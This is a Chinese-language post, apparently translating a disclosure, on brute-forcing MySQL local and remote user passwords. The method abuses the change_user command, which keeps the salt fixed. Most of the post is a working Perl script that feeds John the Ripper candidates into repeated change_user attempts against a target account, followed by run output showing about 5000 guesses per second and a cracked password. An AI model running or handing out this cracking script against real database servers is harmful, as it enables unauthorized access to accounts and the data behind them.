快速高效的破解MySQL本地和遠程密碼
快速的 MySQL 本地和遠程密碼破解!首先需要對數據庫維護人員說明的是,不必緊張,你無需修補這個問題,看起來其實是個小錯誤而已。
我找到一個方法可非常高效的破解 MySQL 的用戶密碼,包括本地用戶和通過網絡方式訪問的用戶密碼。在我的測試中,通過網絡方式的方法可每秒鐘測試 5000 個密碼。
方法如下:
攻擊者使用一個無特權帳號登錄到 MySQL 服務器,mysql 有一個名為 change_user 的命令,該命令可用于在 mysql 會話中修改用戶時的名字建議。因為這個命令執行非常快,因此可以很快速的用來破解 mysql 密碼,而不是每次都重新連接到 mysql 服務器。
是什么導致非常慢?
因為使用 change_user 命令不會更改 SALT(這是一個弱點),而常規破解密碼的方法每次連接時服務器都發送不同的 SALT。
下面是一個 Perl 腳本使用了 John the Ripper 的方法來生成密碼:
測試的用戶是 crackme 密碼為 pass,只需數秒就可破解。
(大約 20 秒鐘可測試 10 萬密碼)
測試腳本如下:
- use Net::MySQL;
- $|=1;
- my $mysql = Net::MySQL->new(
- hostname => ’192.168.2.3′,
- database => ‘test’,
- user => “user”,
- password => “secret”,
- debug => 0,
- );
- $crackuser = “crackme”;
- while(<stdin>) {
- chomp;
- $currentpass = $_;
- $vv = join “”,
- $crackuser,
- “\x14″.
- Net::MySQL::Password->scramble(
- $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
- ) . “”;
- if ($mysql->_execute_command(“\x11″, $vv) ne undef) {
- print “[*] Cracked! –> $currentpass\n”;
- exit;
- }
- }
下面是我這臺機器上的執行結果:
- C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
- hn –incremental –stdout=5 | perl mysqlcrack.pl
- Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
- words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
- words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
- words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
- words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
- words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
- words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
- words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
- [*] Cracked! –> pass
- words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
- Session aborted